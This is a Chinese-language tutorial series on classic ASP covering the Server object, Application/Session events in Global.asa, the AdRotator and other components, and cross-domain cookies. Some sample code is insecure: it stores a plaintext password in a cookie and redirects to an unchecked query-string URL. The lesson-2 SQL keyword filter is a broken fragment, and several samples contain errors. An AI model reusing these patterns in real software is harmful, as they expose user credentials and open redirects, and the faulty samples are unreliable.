Google
搜索WWW 博客内搜索
第一课.全面解析Server对象

Server对象提供对服务器上访问的方法和属性.大多数方法和属性是作为实用程序的功能提供的。
  语法:
   Server.property|method
  属性(property)
   Server对象只有一个属性:ScriptTimeout 程序能够运行的最大时间
  方法(Methods)
   CreateObject 建立一个对象实例.
   Execute 执行一个asp文件
   GetLastError 返回一个错误代码
   HTMLEncode 对指定的HTML代码进行转换.
   MapPath 将一个相对路径转化为一个绝对路径.
   Transfer 将当前的所有状态信息发送给另一个asp文件
   URLEncode 以URL形式转化指定的代码,包括空格
  Server对象的方法详细说明
   CreateObject
   语法
   Server.CreateObject( progID )
   参数
    progID
    指定要创建的组件名称,格式如下: [Vendor.]Component[.Version].
   要点:
    一般来说,用由Server.CreateObject方法创建的对象拥有页面的范围.这就说,当这页的asp程序执行完后,这种对象会自动地消失.
  为了创建一个拥有Session或Application范围的对象,你可以在Global.asa文件中使用
  Execute
  Execute 方法呼叫一个ASP文件并且执行它就像这个呼叫的ASP文件存在这个ASP文件中一样。这很像许多语言中的类的调用。
  语法
  Server.Execute( Path )
  参数
   Path
  指定执行的那个asp文件的路径。如是它是一个绝对路径,那么它必须是一个在这个ASP应用程序相同的地方(目录)。
  讲解
  Server.Execute 方法提供了一种将一个复杂ASP应用程序分化为小块单位来执行的方法。通过这种方法,你能够建一个ASP图书馆,你能够随便在你需要时调用你图书馆中的ASP文件。这个就有点像SSI了!嘿嘿!
  当IIS根据指定的ASP文件路径执行完这个ASP文件之后,就会自动返回以前的ASP文件。这个刚刚执行完的ASP文件有可能改变了HTTP head.但是和其它的ASP文件一样,当程序试图改变http head时,就会报错!
  这个path参数可以包括一个询问信息。
  如果在被呼叫和呼叫的ASP文件中都含有相同的子函数,那么这些子函数只在本ASP文件中起作用。举个例子,如果在下面的ASP1和ASP2两个文件中都含有放弃程序的子函数。首先ASP1呼叫ASP2,那么ASP2中的的OnTransactionAbort开始执行,当ASP2执行完毕,ASP1中的OnTransactionAbort才开始执行。
 
 ASP1:
< %@ Transaction=
Required
%>
< %
 Server.Execute ("Page22.asp")
 Sub OnTransactionAbort
 Sub OnTransactionCommit
%>
  
Asp2.asp:
< %@
 Transaction=Required
 Sub OnTransactionAbort
 Sub OnTransactionCommit
%>

  Example
  
ASP1
< % Response.Write("I am going to execute ASP2 ")
Server.Execute("/myasps/asp2.asp")
%>
ASP2
< % Response.Write("Here I am")%>

  GetLastError
  GetLastError 方法返回一个ASPError Object 来描述一个错误信息.这个方法只适用于在asp文件发送任何内容给用户机之前.
  语法
  Server.GetLastError ()
  要点
  如果一个500;100 用户错误已经被定义在一个asp应用程序中,它是指的一个以.asp为后缀的文件。这种情况下,在这个程序运行时当一个错误发生时,服务器就会自动的以Server.Transfer这种方式传送到这个正在执行的ASP页面。ASP应用程序就会将有效的处理这个错误。另外,这个ASPError Object一定要有效,这样你就能够看到服务器提供给你的错误信息来改这个文件了!
  一般的Web Site 都是根据文件\iishelp\common\500-100.asp来构造的。你能够用它来执行一个asp错误,当然你能够自己定义了!。如果你想改变为另外一个asp文件的来执行这些用户错误。那么你可以用IIS中的snap-in.
  注意:当IIS发现了一个asp文件或者global.asa文件中的一个错误,那么一个500;100用户错误产生。以下的程序将不能执行!
  Example
  下面的三个例子证明不同的错误会产生的用户错误。三个错误是:
  编译错误
  运行错误
  逻辑错误
  第一个例子证明了一个编译错误,就是当IIS试图包含一个文件时产生的。这个错误会产生是因为在这个包含文件中没有定义所需的参数。第二个例子显示的是一个运行错误,这个程序中断的原因是程序中没有“next".第三个例子显示的是一个逻辑错误,因为这个程序试图除以一个0. 不行啦! 
  
Example 1
< %
  response.write "hello"
%>
Example 2
< %
  dim I
  for i=1 to 1
  nxt
%>
Example 3

< %
  dim i,j
  dim sum
  sum=0
  j=0
  for i=1 to 10
   sum=sum+1
  next
  sum=sum/j
%>
  HTMLEncode
  HTMLEncode方法对指定的字符串进行HTML编码.
  语法
   Server.HTMLEncode( string )
  参数
   string 要进行编码的字符
  例子
   下面的程序:
  < %= Server.HTMLEncode("The paragraph tag: ") %>

  输出为:
  The paragraph tag:
  注意 程序执行后在浏览器中看到的是:
  The paragraph tag:
  但是如果你用"查看源文件"看一下的话,源代码就不是了.
MapPath
  MapPath 方法将相对路径转化为服务器上的物理路径
  语法
  Server.MapPath( Path )

  参数
  Path
  相对路径。这个路径是以"/"或"\"开头的路径,如果这个路径中没有"\",那么MapPath方法就会返回以当前目录为基础的路径。
  讲解
  MapPath 方法不能检查路径在这个服务器下是否存在。因为 MapPath 转化路径时是不管这个路径是否在这个服务器下存在的。
  你能够用它来将一个相对路径转化为一个物理路径,然后再在这个路径下进行各种操作。
  Example
  在下面的例子中,data.txt文件存在 C:\Inetpub\Wwwroot\Script 目录中,而且一个test.asp 文件包括下面的代码。C:\Inetpub\Wwwroot 是该服务器的主目录 。
  下面的例子中,首先用环境变量"PATH_INFO"获得当前文件的物理路径。
  下面是Script 代码:
  < %= server.mappath(Request.ServerVariables("PATH_INFO"))%>

  显示为:
  c:\inetpub\wwwroot\script\test.asp
  因为下面的例子中路径参数没有以"/"开头,所以它是以当前目录转化的,asp文件是放在C:\Inetpub\Wwwroot\Script中的.以下是 scripts的内容:
  < %= server.mappath("data.txt")%>
  < %= server.mappath("script/data.txt")%>

  显示为:
  c:\inetpub\wwwroot\script\data.txt
  c:\inetpub\wwwroot\script\script\data.txt

  以下的两个例子是以"/"开头的.以下是scripts的内容:
  < %= server.mappath("\script")%>

  显示为:
  c:\inetpub\wwwroot\script\data.txt
  c:\inetpub\wwwroot\script

  直接用"/"或"\"就会得到服务器的主目录:
  < %= server.mappath("\")%>

  显示为:
 
  c:\inetpub\wwwroot
  c:\inetpub\wwwroot

  Transfer
  transfer 方法会把一个正在执行的asp文件的所有信息传给另外一人asp文件。
  语法
  Server.Transfer (path)

  参数
  Path
  将要接收信息的asp文件的位置。
  要点
  当你调用Server.Transfer时,所有内建对象的状态信息都会包含在这次传送之中。这就是说,所有在保存在Session或Application中的信息都会被传送,而且,所有当前请求的信息都会被接收信息的asp文件所接受。
  Example
  下面的例子示范了从一个asp文件传送到另一个asp文件例子!
  ASP1

< % Dim sessvar1 Response.Write Session.SessionID
 Response.Write ("")
 Response.Write("I am going to ASP2 ")
 Server.
Transfer
("/Myasps/ASP2.asp")
% >
 
 ASP2
< % Response.Write Session.SessionID %>
  URLEncode
  URLEncode 方法可以将指定字符串进行URL编码。
  语法
  Server.URLEncode( string )

  参数
  string 指定要转化的字符串
  Example
  下面是代码:
  < % Respones.Write(Server.URLEncode("http://www.microsoft.com")) % >

  显示为:
  http%3A%2F%2Fwww%2Emicrosoft%2Ecom
  属性:ScriptTimeout
  ScriptTimeout 属性规定了程序的最大运行时间。
  语法
  Server.ScriptTimeout = NumSeconds

  参数
  NumSeconds
  规定了程序的最大的运行时间(以秒计算)。缺省值是90秒
  Remarks
  一个缺省的Scritpt Timeout的值会能过ASPScriptTimeOUT属性来设置在Web sertvic 或 Web server上。在程序中,ScriptTimeout属性的值不能小于这个缺省值。举个例子吧,如果NumSeconds我们设置为10秒,而缺省值为90秒,那么程序就会中止在90秒以后,而不是10秒以后的。同样,如果我们设置ScriptTimeout的值为100秒,那么,程序就会在100秒之后中止,而不是90秒。
  Example
  下面的例了中程序将被设置为100秒后自动中止。
  < % Server.ScriptTimeout = 100 %>

  下面的例子中将重新得到ScriptTimeout的值,然后把它存在Timout变量中
  < % TimeOut = Server.ScriptTimeout %>
第二课.利用JSP的思想来做ASP

程序的功能有了个大体的框架,其实可以自己添加一些功能,比如开始的数据库连接 ,可以先设置
变量然后通过INIT() 来选择不同类型的数据库
0 Or (DouCounts Mod 2)  0 Or Instr(StrSql,";") > 0 Then
Call Class_Terminate()
Response.Write("SQL语法错误!")
Response.End()
End If
Select Case Flag
Case "R","r":
If Instr(StrSql,"delete") > 0 Or Instr(StrSql,"update") Or Instr(StrSql,"drop") > 0 Or Instr(StrSql,"insert") > 0 Then
Class_Terminate()
Response.Write("权限不足,没有执行写操作的权限")
Response.End()
End If
Case "W","w":
If Instr(StrSql,"delete") > 0 Or Instr(StrSql,"drop") > 0 Or Instr(StrSql,"select") > 0 Then
Class_Terminate()
Response.Write("权限不足,没有执行删除操作的权限")
Response.End()
End If
Case "D","d":
Case Else:
Response.Write("函数CheckSql标志错误!")
End Select
End Sub
Sub Class_Terminate
If Not IsEmpty(FriendConn) Then
FriendConn.Close
Set FriendConn = Nothing
CatchError()
End If
End Sub
End Class
%>
第三课.深入研究Application和Session对象

用ASP编写虚拟社区、网上购物等程序时,Application和Session对象具有举足轻重的作用,能够灵活合理地运用这两个对象是提高程序质量的关键。下面让笔者根据自己在这方面的经验,向大家深入介绍一下ASP的这两个内建对象。
  一、Application对象的成员概述

  Application对象成员包括Application对象的集合、方法和事件。
  ⒈Application对象的集合
  Contents集合:没有使用元素定义的存储于Applicaiton对象中的所有变量的集合
  StaticObjects:使用元素定义的存储于Application对象中的所有变量 的集合
  例:在default.asp中有如下赋值
  application("a")="a"
  application("b")=128
  application("c")=false

  则有contents集合
  application.contents(1)="a" '也可写为application.contents("a")="a"
  application.contents(2)=128 '也可写为application.contents("b")=128
  application.contents(3)=false '也可写为application.contents("c")=false

  在此笔者推荐你在调用时使用类如application.contents("a")的方法,因为这样更为直观,如果用序号来表示的话则要考虑赋值的先后顺序。
  ⒉Application对象的方法
  Contents.Remove("变量名"):从Application.Contents集合中删除指定的变量
  Contents.RemoveAll() :把Application.Contents集合中的所有变量删除
  Lock() :锁定Application对象,使得只有当前的ASP页对内容能进行访问
  Unlock() :解除对Application对象的锁定
  例:在default.asp中:
  application("a")="a"
  application("b")=128
  application("c")=false
  response.write application.contents(1)&"
"
  response.write application.contents(2)&"
"
  response.write application.contents(3)&"
"
  response.write "After Remove b:"
  application.contents.remove("b")
  response.write application.contents(1)&"
"
  response.write application.contents(2)&"
"

  执行结果:
  a
  128
  False
  After Remove b:
  a
  False
  如果要删除集合中所有变量用application.contents.removeall即可,至于Lock和Unlock方法在实际中经常用到,读者也比较熟悉,在此就不在累赘。
  ⒊Application对象事件
  OnStart:第一个访问服务器的用户第一次访问某一页面时发生
  OnEnd :当最后一个用户的会话已经结束并且该会话的OnEnd事件所有代码已经执行完毕后发生,或最后一个用户访问服务器一段时间(一般为20分钟)后仍然没有人访问该服务器产生。
  想要定义application对象的OnStart和OnEnd事件里做什么需要将代码写在Global.asa这个文件里(下文有举例),并且将该文件放在站点的根目录下(一般是Inetpub\wwwroot\)
  二、Session对象的成员概述
  Session对象的成员比Application对象多一项属性,即:集合、属性、方法、事件
  ⒈Session对象的集合
  Contents :没有使用元素定义的存储于特定Session对象的所有变量的集合。
  StaticObject:使用元素定义的、存储于Session对象中的所有变量的集合。
  例:在default.asp中有如下赋值
  session("a")="a"
  session("b")=128
  session("c")=false

  则有contents集合
  session.contents(1)="a" '也可写为session.contents("a")="a"
  session.contents(2)=128 '也可写为session.contents("b")=128
  session.contents(3)=false '也可写为session.contents("c")=false

  ⒉Session对象的属性
  CodePage: 可读/可写。整型。定义用于在浏览器中显示页内容的代码页。代码页是字符集的数字值,不同的语言使用不同的代码页。例如,ANSI代码页为1252,日文代码页为932,简体中文代码页为936。
  LCID : 可读/可写。整型。定义发送给浏览器的页面地区标识。LCID是唯一地标识地区的一个国际标准缩写,例如,2057定义当前地区的货币符号是"£"。
  SessionID: 只读。长整型。返回本会话的会话标识符。每创建一个会话,由服务器自动分配一个标识符。可以根据它的值判断两个用户是谁先访问服务器。
  Timeout : 可读/可写。整型。为会话定义以分钟为单位的超时限定。如果用户在这个时间内没有刷新或请求任何一个网页,则该用户产生的会话自动结束。缺省值是20。
以上属性在实际应用中作用不大,而且基本上不需要怎么修改,这几个属性也没什么特殊的地方。
  ⒊Session对象的方法
  Contents.Remove("变量名"): 从Session.contents集合中删除指定的变量
  Contents.Removeall() : 删除Session.contents集合中的所有变量
  Abandon() : 结束当前用户会话并且撤消当前Session对象。
  Session对象的Contents.Remove("变量名")和Contents.Removeall()方法与Application对象的基本上没什么区别,为帮助理解,大家可以参照上面的例子将Application改为Session。这里要说明一下的是Contents.Removeall()和Abandon()的区别,执行这两个方法都会释放当前
  用户会话的所有Session变量,不同的是Contents.Removeall()单纯地释放Session变量的值而不终止当前的会话,而Abandon()除了释放Session变量外还会终止会话引发Session_OnEnd事件,希望大家注意两者的区别。
  ⒋Session对象的事件
  OnStart: 当ASP用户会话产生时触发,一旦有任一用户对本服务器请求任一页面即产生该事件。
  OnEnd : 当ASP用户会话结束时触发,当使用Abandon()方法或超时也会触发该事件。
  这两个事件和Application的OnStart、OnEnd事件一样,也是必须放在Global.asa文件里,下
面就重点和大家研究一下这四个事件的使用。
  三、Global.asa

  ASP的Application和Session对象体现了其他ASP内置对象所没有的特征--事件。每一个访客访问服务器时都会触发一个OnStart事件(第一个访客会同时触发Application和Session的OnStart事件,但Application先于Session),每个访客的会话结束时都会触发一个OnEnd事件(最后一个访客会话结束时会同时触发Application和Session的OnEnd事件,但Session先于Application)。
  OnStart和OnEnd这两个事件一般应用在虚拟社区中统计在线人数、修改用户的在线离线状态等。要具体定义这两个事件,需要将代码写在Global.asa文件,并将该文件放在站点的根目录下(缺省是\Inetpub\wwwroot\)。另外,Application和Session对象规定了在OnEnd事件里除了Application对象外其他ASP内置对象(Response、Request、Server、Session...)一概不能使用。以下举一个虚拟社区统计在线人数的例子来说明如何使用这两个事件。
  文件说明:
  global.asa 位于d:\Inetpub\wwwroot\目录下
  default.asp 位于d:\Inetpub\wwwroot\目录下,虚拟社区登录页面
  login.asp 位于d:\Inetpub\wwwroot\目录下,用于检测用户输入的用户名及密码
  index.asp 位于d:\Inetpub\wwwroot\目录下,虚拟社区首页
  bbs.mdb 位于d:\Inetpub\wwwroot\目录下,存储用户信息的数据库
  数据库(ACCESS)结构:
   ===bbs表===
  id 用户ID,长整型
  name 用户名,文本型
  code 密码,文本型
  online 在线状态,是/否
 
  ===global.asa===
  <script LANGUAGE="VBScript" RUNAT="Server">
  Sub Application_OnStart
   application("online")=0
  End Sub
  sub Application_OnEnd
  nd Sub
  Sub Session_OnStart
  End Sub
  Sub Session_OnEnd
   if session.contents("pass") then '判断是否为登录用户的Session_OnEnd
    application.lock
    application("online")=application("online")-1
    application.unlock
   end if
  End Sub
  </script>
  ==============

  ===login.asp===
   ......'密码验证,连接数据库,检测用户输入的用户名及密码是否正确
  if 密码验证通过 then
   session("name")=rs("name")
   session("id")=rs("id")
   session("pass")=true
  else
   rs.close
   conn.close
   response.write "密码错误!"
   response.end
  end if
  application.lock
  application("online")=application("online")+1
  conn.Execute ("update bbs set online=1 where id="&session("id"))'将用户的状态设为在线
  application.unlock
  rs.close
  conn.close
  response.redirect "index.asp" '初始化数据后跳转到社区首页
  ===========

  在本例中,用application("online")变量记录已经登录社区的在线人数,因为一旦有用户访问服务器而不管用户是否登录,都会产生OnStart事件,所以不能在OnStart事件里使Applicaiton("online")加一。因为不管是否是登录用户的会话结束都会产生OnEnd事件(假如有访客访问了服务器但并不登录社区,他的会话结束后也会产生OnEnd事件),所以在Session_OnEnd事件里用了句if语句来判断是否为已登录用户的OnEnd事件,如果是才将在线人数减一。
  这只是一个统计在线人数的简单例子,对于一个完整的虚拟社区来说,仅仅统计有多少人在线是不够的,在本例中数据库里有个online字段是用来记录用户的在线状态,用户登录的时候,在login.asp里将online设为1,但用户离线时并没有将online设为0,要完善它,就要修改一下Session_OnEnd事件,在该事件里将online设为0。
  ===global.sas===
  <script LANGUAGE="VBScript" RUNAT="Server">
  Sub Application_OnStart
   application("online")=0
   set application("conn")=Server.CreateObject("ADODB.Connection")
   application("db")=Server.MapPath("\bbs.mdb") '此处最好使用绝对路径\bbs.mdb,下文有详细介绍
  End Sub
  sub Application_OnEnd
   set application("conn")=nothing
  End Sub
   Sub Session_OnStart
  End Sub
  Sub Session_OnEnd
   if session.contents("pass") then '判断是否为登录用户的Session_OnEnd
     application("con").open ="driver={Microsoft Access Driver (*.mdb)};dbq="&application("db")
      application.lock
      application("online")=application("online")-1
      application("con").Execute ("update friends set online=0 where id="&session.contents("id"))
      application.unlock
      application("con").close
   end if
  End Sub
  </script>
  ==============

  至此,完整的代码已经完成了。因为在Application和Session的OnEnd事件里不能使用Server对象,所以要将数据库的连接及数据库在服务器上的物理地址(d:\inetpub\wwwroot\bbs.mdb)存储在application变量中,并在Application_OnStart事件中预先处理。同理,在Session_OnEnd事件中不能用session("pass")来代替session.contents("pass")(以下有详尽说明)。
  四、本文实例中值得引起注意的两点

  ⒈OnEnd事件里的session.contents
  刚开始接触global.asa的朋友经常会将上面Session_OnEnd事件里的
  if session.contents("pass") then 写成
  if session("pass") then,

  这样的话系统不会提示错误,但是永远也不会执行then后面的内容,这是因为在OnEnd事件里禁止使用Session对象,但是可以用Session对象的集合来调用session变量。因为IIS并没提示任何错误信息,所以笔者曾经在这上面浪费了很多时间。在此希望大家引以为鉴!
  ⒉Application_OnStart事件里用Server.MapPath获取数据库的物理地址时应使用绝对地址为了说明这个问题,大家可以做个实验:将上面Application_OnStart事件里的
  application("db")=Server.MapPath("\bbs.mdb")改为:
  application("db")=Server.MapPath("bbs.mdb")

然后在d:\inetpub\wwwroot\目录下建立一个test子目录,写一个temp.asp在test目录里。
  ====test.asp====
  <%response.write application("db")%>
  ================

再将temp.asp拷贝一份放在根目录下(d:\inetpub\wwwroot\)。用记事本打开global.asa,再打开两个浏览器,浏览器A输入地址http://localhost/temp.asp,按回车,将在浏览器上输出:
  d:\inetpub\wwwroot\bbs.mdb

然后,在记事本的窗口上点"文件"菜单,选"保存"(使global.asa的修改时间改变,从而使IIS重启动所有服务),再在浏览器B输入地址http://localhost/test/temp.asp,按回车,在浏览器上输出的是:
  d:\inetpub\wwwroot\test\bbs.mdb

global.asa文件虽然是放在站点根目录下,但是如果在server.mappath中使用的是相对地址,而触发Application_OnStart事件的用户第一次访问的页面又不是属于根目录的话,得到数据库的物理地址将不会是期望的结果,希望大家要特别小心。
第四课.ASP编程之ActiveX组件

从今天开始我们将正式学习 ASP 的精华部分 --ActiveX 组件。事实上,当你用 ASP 编写服务器端应用程序时,必须依靠 ActiveX 组件来强大 Web 应用程序的功能,譬如:你需要连接数据库,对数据库进行在线操作或者对 WEB 服务器上的文件系统进行操作,亦或你需要一个 WEB 广告交换程序,所有这一切你都必须通过调用 ASP 内建的 ActiveX 组件或自己编写所需的组件来完成。



   那么,究竟什么是 ActiveX 组件呢?它又是如何运作的呢?其实 ActiveX 组件是一个存在于 WEB 服务器上的文件,该文件包含执行某项或一组任务的代码,组件可以执行公用任务,这样就不必自己去创建执行这些任务的代码。例如,股票行情收报机组件可以在 Web 页上显示最新的股票报价。当你在 WEB 服务器上安装完 ASP 环境后,就可以直接使用它自带的几个常用组件,如 Database Access 组件。当然你也可以从第三方开发者处获得可选的组件 , 也可以编写自己的组件。你可以利用组件作为脚本和基于 Web 应用程序的基本构造块,只要知道如何访问组件提供的对象,即使你是位编写脚本的新手,也可以在不了解组件运作方式的情况下编写 ASP 程序。总而言之, ActiveX 组件使您不用学习复杂的编程就能够写出强大的 WEB 服务器端脚本。如果您是位 Web 应用程序的开发者,可以使用任何支持组件对象模型(COM)的语言来编写组件,如, C、 C++、 Java 或 Visual Basic。如果你熟悉 COM 编程, ActiveX 组件就是 Automation 服务器。但是要在 Web 服务器上运行, ActiveX 组件不能有图形用户接口元素,如 Visual Basic 的 MsgBox 函数。组件是可以重复使用的。在 Web 服务器上安装了组件后,就可以从 ASP 脚本、 ISAPI 应用程序、服务器上的其他组件或由另一种 COM 兼容语言编写的程序中调用该组件。

   那么我们在 ASP 中应该如何调用组件呢?如前所述,组件是包含在动态链接库 (.dll) 或可执行文件 (.exe) 中的可执行代码。组件可以提供一个或多个对象以及对象的方法和属性。要使用组件提供的对象,我们首先要创建对象的实例并将这个新的实例分配变量名。使用 ASP 的 Server.CreateObject 方法可以创建对象的实例。接着,使用脚本语言的变量分配指令为对象实例命名。创建对象实例时,必须提供实例的注册名称“PROGID”。如下要创建一个 Ad Rotator 对象的实例 :
   < % Set MyAds = Server.CreateObject("MSWC.AdRotator") %>

   我们必须使用 ASP 的 Server.CreateObject 方法来创建对象实例,否者 ASP 无法跟踪脚本语言中对象的使用。

   使用 HTML< OBJECT> 标签同样可以创建对象实例,但必须为 RUNAT 属性提供服务器值,同时也要为将在脚本语言中使用的变量名提供 ID 属性组。使用注册名 (PROGID) 或注册号码 (CLSID) 可以识别该对象。下面的例子使用注册名 (PROGID) 创建 Ad Rotator 对象的实例:
  

< OBJECT RUNAT=Server ID=MyAd PROGID="MSWC.AdRotator">< /OBJECT>

   下面列出了 ASP 可安装的常用组件。

Ad Rotator 创建一个 AdRotator 对象,该对象可按指定计划在同一页上自动轮换显示广告。
Browser Capabilities 创建一个 BrowserType 对象,该对象决定访问 Web 站点的每个浏览器的性能、类型及版本。
Database Access 提供用 ActiveX Data Objects (ADO) 对数据库的访问。
Content Linking 创建一个 NextLink 对象,该对象可生成 Web 页内容列表,并象书一样将各页顺续连接。
File Access 组件 提供文件的输入输出访问。
Collaboration Data Objects for NTS 组件 可以快速、简便的在 Web 页上添加收发邮件功能。该组件只适用于 Internet Information Server for Windows NT? Server 。
MyInfo 创建一个 MyInfo 对象,该对象追踪个人信息,例如站点管理员的姓名、地址及显示选择。
Counters 创建一个 Counters 对象,该对象可以创建、保存、增加或检索任意数量的独立计数器。
Content Rotator 自动翻转 Web 主页上的 HTML 内容字符串。
Page Counter 记录并显示 Web 页被打开的次数。

   现在 WEB 广告几乎充斥了整个网络,那么究竟如何在你自己的网站上建立一个符合广告领域标准功能的广告系统呢?答案是利用 ASP AD Rotator 组件 ! 它允许在每次访问 ASP 页面时在页面上显示新的广告,并且提供了很强的功能,例如 : 旋转显示在页面上的广告图象的能力、跟踪特定广告显示次数的能力以及跟踪客户端在广告上单击次数的能力。 AD Rotator 组件的工作是通过读取 AD Rotator 计划文件来完成的,该文件包括与要显示的图象文件的地点有关的信息以及每个图象的不同属性,下面就是一个标准的 AD Rotator 计划文件 :
---ADROT.TXT---
REDIRECT /scripts/adredir.asp
WIDTH 440
HEIGHT 60
BORDER 1

ads/homepage/chinabyte.gif
http://www.chinabyte.com/
Check out the IT site
2
ads/homepage/gamichlg.gif
-
Sponsored by Flyteworks
3
ads/homepage/asp.gif
http:// www.aspallian.com/
Good ASP site on net
3
ads/homepage/spranklg.gif
http://www.clocktower.com/
The #1 Sports site on the net
2

   该段代码的前四行包含广告的全局设置。 Redirect 行指出广告将成为其热连接的 URL, 注意这里不是为广告本身指定的 URL,而是将调用的中间页面的 URL,这样我们就可以通过这个中间页面跟踪单击广告的次数。该 Redirect URL 将与包含两个参数的查询字符串一起调用 : 特定广告主页的 URL 和图象文件的 URL。星号上面的其余三行简单说明如何显示广告。前两行以像素为单位指定网页上广告的宽度和高度,默认值是 440 和 60 个像素。后一行,同样是以像素为单位指定广告四周超链接的边框宽度 , 默认值是 1 个像素。如果将该参数设置为 0,则将没有边框。

   星号下面的行以每四行为一个单位描述每个广告的细节。在此例中共有 16 行,描述四个广告。每个广告的描述包含图象文件的 URL、广告的主页 URL(如果广告客户没有主页,请在该行写上一个连字符“-”,指出该广告没有链接)和图象的替代文字以及指定该页与其他页交替显示频率的数值。

   图象是重定向页面的热连接,它在查询字符串中设置了两个值, url=/scripts/adredir.asp 以及 image=/ads/homepage/asp.gif。要确定广告显示的频率,可以将计划文件中所有广告的权值相加,在该例中总数是 10,那么 aspallian 的广告权值为 3,这意味着 AdRotator 组件每调用十次,它则显示 3 次。

   重定向文件是用户创建的文件。它通常包含用来解析由 AdRotator 对象发送的查询字符串的脚本并将用户重定向到与用户所单击的广告所相关的 URL。用户也可以将脚本包含进重定向文件中,以便统计单击某一特定广告的用户的数目并将这一信息保存到服务器上的某一文件中。增加计数器和重定向用户是通过下面两行 ASP 脚本来实现的 :
< %
Counter.Increment(request.querystring("url"))
response.redirect(request.querystring("url"))
%>

   现在我们看一下 Ad Rotator 组件是如何在页面中使用的,首先必须使用 Server.CreateObject 方法实例化 Ad Rotator 对象。 Ad Rotator 组件的 PROGID 属性是 MSWC.AdRotator。完整的代码如下 :
< % Set ad = Server.CreateObject("MSWC.AdRotator") %>
< %= ad.GetAdvertisement("/ads/adrot.txt") %>


   Ad Rotator 组件支持的唯一方法是 GetAdvertisement,它只有一个参数 :AdRotator 计划文件的名称。注意指向文件的路径是从当前虚拟目录的相对路径,物理路径是不允许的。 GetAdvertisement 方法从 Rotator 计划文件中获取下一个计划广告的详细说明并将其格式化为 HTML 格式。下面的 HTML 由 GetAdvertisement 方法生成且被添加到网页的输出中,以便显示 Rotator 计划文件中的下一个广告。
< A HREF="http://www.chinabyte.com/scripts/adredir.asp?http://www.aspallian.com/">< IMG
SRC="http://www.chinabyte.com/ads/homepage/asp.gif" ALT="Good ASP site on net" WIDTH=440 HEIGHT=60 BORDER=1>< /A>

   使用 AdRotator 组件我们可以直接通过对象属性而不是计划文件中的设置来直接控制某些广告特性,其可用属性如下 :

   Border 指定广告边框的大小。

   Clickable 指定广告是否为超链接。

   TargetFrame 指定显示广告的框架的名称。


< %
Set ad = Server.CreateObject("MSWC.AdRotator")
ad.Border = 0
ad.Clickable = true
ad.TargetFrame = AdFrame
ad.GetAdvertisement("/ads/adrot.txt")
%>

   通过上面的学习,相信你已经能够熟练运用 ASP 的内建 AdRotator 组件为自己的网站建立一个标准的广告显示程序了。你是否难以相信一切竟是如此的简单?其实真正能令你震惊的还在后头呢,敬请关注下一篇 ASP ActiveX 组件大揭密!
 
第五课.其它的ASP常用组件

一、 Browser Capabilities 组件众所周知,并不是所有浏览器都支持现今 Internet 技术的方方面面。有一些特性,某些浏览器支持而另一些浏览器却不支持,如 : ActiveX 控件、影像流、动态 HTML、 Flash 以及脚本程序等。使用 ASP 的 Browser Capabilities 组件,就能够设计“智能”的 Web 页,以适合浏览器性能的格式呈现内容。 Browser Capabilities 组件能够创建一个 BrowserType 对象,该对象提供带有客户端网络浏览器的功能说明的用户脚本。该组件之所以能识别客户浏览器的版本等信息,主要是因为当客户浏览器向服务器发送页面请求时,会自动发送一个 User Agent HTTP 标题,该标题是一个声明浏览器及其版本的 ASCII 字符串。 Browser Capabilities 组件将 User Agent 映射到在文件 Browscap.ini 中所注明的浏览器 , 并通过 BrowserType 对象的属性来识别客户浏览器。若该对象在 browscap.ini 文件中找不到与该标题匹配的项,那么将使用默认的浏览器属性。若该对象既未找到匹配项且 browscap.ini 文件中也未指定默认的浏览器设置,则它将每个属性都设为字符串 "UNKNOWN"。在默认情况下, browscap.ini 文件被存放在 WINDOWS\SYSTEM\INERSRV( 如果是 95/98+PWS4) 或 NT\SYSTEM32\INERSRV( 如果是 NT) 目录中,你可以自己编辑这个文本文件,以添加自己的属性或者根据最新发布的浏览器版本的更新文件来修改该文件。请看以下 checkCookie() 过程,使用 BrowserCap 对象的 Cookie 属性来判断客户端浏览器是否支持 Cookie,并返回信息 :

第六课.Asp中如何设计跨越域的Cookie

Cookie简介

  首先,我们对Cookie做一个简单的介绍,说明如何利用ASP来维护cookie。

  Cookie是存储在客户端计算机中的一个小文件,这就意味着每当一个用户访问你的站点,你就可以秘密地在它的硬盘上放置一个包含有关信息的文件。这个文件几乎可以包含任何你打算设置的信息,包括用户信息、站点状态等等。这样的话,就有一个潜在的危险:这些信息有可能被黑客读取。为了防止这个问题的发生,一个有效的办法就是cookie只能被创建它的域所存取。这就是说:比如ytu.edu.cn只能访问ytu.edu.cn创建的cookie。通常来讲,这没有什么问题;但是,如果需要两个不同域上的两个不同站点共享保存在cookie中的用户信息,该如何处理呢?当然可以选择复制用户信,但是,如果你需要用户只能在一个站点上注册,并且自东成为另外一个站点的注册用户呢?或者,两个站点共享一个用户数据库,而又需要用户自动登录呢?这时候,跨越域共享cookie是最好的解决方案。
这里,先看一些ASP处理cookie的代码,以便以后便于引用参考。
 
 '创建Cookie
  Response.Cookies("MyCookie").Expires=Date+365
  Response.Cookies("MyCookle").Domain="mydomaln.com"
  Response.Cookies("MyCookle")("Username")=strUsername
  Response.Cookies("MyCookle")("Password")=strPassword
  读写cookie非常简单,上面的代码创建一个cookie并给cookie设置属性:域、过期时间,以及其他一些保存在cookie中的值。这里,strUsename,strPassword是在前面某个地方设置的变量。然后,通过下面的语句在cookie中读取。
  '读取Cookie
  datExpDate=Request.Cookies("MyCookie")
  strDomaln=Request.Cookies("MyCookle").Domain
  strUsername=Request.Cookies("MyCookle")("Username")
  strPassword=Request.Cookies("MyCookie")("Password")
  更详细的信息,可以参考ASP的资料。
  实现
  简单地共享cookie的诀窍是重定向,一般过程为:
  1.一个用户点击siteA.com。
  2.如果用户没有siteA.com的cookie,就把用户重定向到siteB.com。
  3.如果用户有siteB.com的cookie,把用户连同一个特殊的标志(将在下面解释)重定向回siteA.com,否则,只把用户重定向到siteA.com。
  4.在siteA.com创建cookie。
  看起来很简单,仔细分析一下:siteA.com和siteB.com共享相同的用户设置,所以,如果用户有siteB.com的cookie(已经注册),siteA.com能够同样读取cookie、提供cookie所允许的特性。这样,访问siteA.com的用户就如同访问了siteB.com。
  这个检查的环节应该在siteA.com中的文件所包含一个cookies.inc中实现。让我们看一下这段代码:
  l—1
  'SiteA.com"检查cookie
  If Request.Querystring("Checked")<>"True" then
  If not Request.Cookies("SiteA_Cookie").Haskeys then
  '重走向到siteB.com
  Response.Redlrect("http://www.siteB.com/cookie.asp")
  End if
  End if
  如果用户有一个siteA.com的cookie,则不需要做任何事情了;第一个if语句用来消除无限的循环。让我们看一下siteB.com上的cookie.asp文件来获得进一步的理解。
  1—2
  'SiteB.com
  '检查cookie
  If not Request.Cookies("SlteB_Cookle").Haskeys then
